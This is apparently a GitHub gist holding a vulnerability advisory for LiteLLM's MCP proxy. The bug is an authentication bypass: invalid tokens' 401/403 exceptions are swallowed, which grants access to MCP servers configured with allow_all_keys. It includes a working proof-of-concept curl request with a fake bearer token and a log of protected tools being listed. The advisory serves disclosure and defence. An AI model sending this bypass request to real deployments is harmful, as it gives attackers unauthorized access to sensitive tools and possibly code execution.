Skip to content

Instantly share code, notes, and snippets.

@YLChen-007
Created March 21, 2026 11:53
Show Gist options
  • Select an option

  • Save YLChen-007/3cfaad10a69d7a15e4d4d458cb53309e to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/3cfaad10a69d7a15e4d4d458cb53309e to your computer and use it in GitHub Desktop.
Critical Authentication Bypass and Privilege Escalation via Exception Swallowing in MCP Proxy

Advisory Details

Title: Critical Authentication Bypass and Privilege Escalation via Exception Swallowing in MCP Proxy

Description:

Summary

A critical authentication bypass vulnerability exists in the LiteLLM Model Context Protocol (MCP) proxy module. When handling incoming requests to MCP endpoints, the application's authentication logic intercepts and completely swallows 401/403 HTTPExceptions raised by the API key validation function. This allows unauthenticated external attackers to bypass authentication completely by supplying an arbitrary invalid token in the Authorization header. Once bypassed, attackers gain unauthenticated access to interact directly with backend MCP servers configured with allow_all_keys: true, potentially leading to unauthorized data access, sensitive tool execution, or Remote Code Execution (RCE) depending on the exposed tools.

Details

The vulnerability is rooted in process_mcp_request located within the MCP Proxy authentication flow (litellm/proxy/_experimental/mcp_server/auth/user_api_key_auth_mcp.py). To support interoperability with upstream OAuth2 tokens, the code catches HTTPExceptions raised by user_api_key_auth. If a 401 or 403 status code is encountered, the exception is swallowed and a default UserAPIKeyAuth() object is instantiated instead of correctly rejecting the unauthorized request.

Subsequently, the authorization flow in get_allowed_mcp_servers allows unrestricted access to any configured MCP server where allow_all_keys is set to true. Because the missing authentication state wasn't blocked, the attacker successfully proxies arbitrary commands to the vulnerable backend MCP components.

PoC

  1. Deploy the LiteLLM Proxy configured with at least one target MCP server having allow_all_keys: true.
  2. Send an unauthenticated JSON-RPC request to the MCP endpoint (e.g., http://target:port/mock_server/mcp) using an arbitrary invalid Authorization header.
  3. The server responds with 200 OK and successfully processes the MCP command (e.g., listing protected tools) despite the lack of valid credentials.
curl -i -X POST http://localhost:4000/mock_server/mcp \
  -H "Authorization: Bearer ANY_FAKE_TOKEN_TO_BYPASS_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}}'

Log of Evidence

[*] Sending an unauthenticated JSON-RPC request to list tools...
Status Code: 200
Response: {
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "tools": [
      {
        "name": "mock_server-secret_tool",
        "description": "A highly secret tool that only authorized users should access.",
        "inputSchema": {
          "type": "object",
          "properties": {}
        }
      }
    ]
  }
}

[SUCCESS] Exploit worked! We successfully extracted tools without a valid LiteLLM API key!

Impact

Authentication Bypass leading to potential Remote Code Execution or Data Extraction. Depending on the capabilities of the exposed MCP server tools, attackers could execute arbitrary shell commands, access databases, or invoke sensitive functionality normally reserved for authenticated administrators.

Affected products

  • Ecosystem: python
  • Package name: litellm
  • Affected versions: <= 1.59.8 (current codebase)
  • Patched versions:

Severity

  • Severity: Critical
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-287: Improper Authentication
  • CWE: CWE-390: Detection of Error Condition Without Action

Occurrences

Permalink Description
litellm/proxy/_experimental/mcp_server/auth/user_api_key_auth_mcp.py The vulnerable process_mcp_request method that swallows HTTPException (401/403) and assigns a default UserAPIKeyAuth() object, allowing authentication bypass.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment